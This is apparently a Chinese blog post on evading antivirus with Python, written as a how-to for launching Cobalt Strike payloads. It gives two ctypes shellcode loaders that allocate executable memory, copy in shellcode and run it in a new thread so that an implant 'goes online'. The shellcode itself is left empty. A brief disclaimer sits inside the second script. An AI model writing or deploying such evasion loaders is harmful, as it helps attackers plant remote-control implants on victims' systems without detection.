python免杀--原生态(GG)

目录

原生态:

执行代码1: 

执行代码2:


原生态:

python免杀cobalt strike马超简单入坑教程 - FreeBuf网络安全行业门户 

cs 生成 payload的---> c 或 python

生成payload时选择x64!!!!(注意什么时候用.64/86)

执行代码1: 

import ctypes

#shellcode填这里
shellcode = b""

#申请内存属于64位
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请一块内存空间
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
# 往内存空间里写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
# 创建线程
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 执行线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

--传入shellcode,执行,上线.

执行代码2:

import ctypes

shellcode = b""

# 直接获取 RtlMoveMemory 函数引用
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory

# 申请内存属于64位
# 注意:restype 应该是一个指针类型,因为 VirtualAlloc 返回的是内存地址
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p

# 申请一块内存空间
# 分配内存,确保它是可读、可写和可执行的
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)  
# PAGE_EXECUTE_READWRITE

# 检查内存是否成功分配
if rwxpage:
    # 往内存空间里写入 shellcode
    RtlMoveMemory(ctypes.cast(rwxpage, ctypes.POINTER(ctypes.c_char)), shellcode, len(shellcode))

    # 创建线程
    # 注意:CreateThread 的第三个参数应该是线程函数的地址,即 rwxpage
    # 但是,由于 Windows 的 PEB 保护,直接执行 shellcode 在现代系统上通常不可行
    handle = ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_void_p(rwxpage), 0, 0, None)

    # 等待线程完成
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

    # 释放线程句柄(可选)
    ctypes.windll.kernel32.CloseHandle(handle)

    # 注意:在实际环境中执行恶意 shellcode 是非法的,并且会导致严重的后果
else:
    print("Failed to allocate memory.")

# 清理资源(可选,但在实际应用中很重要)
ctypes.windll.kernel32.VirtualFree(rwxpage, 0, 0x8000)  # MEM_RELEASE

--传入shellcode,执行,上线...


  • 8
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值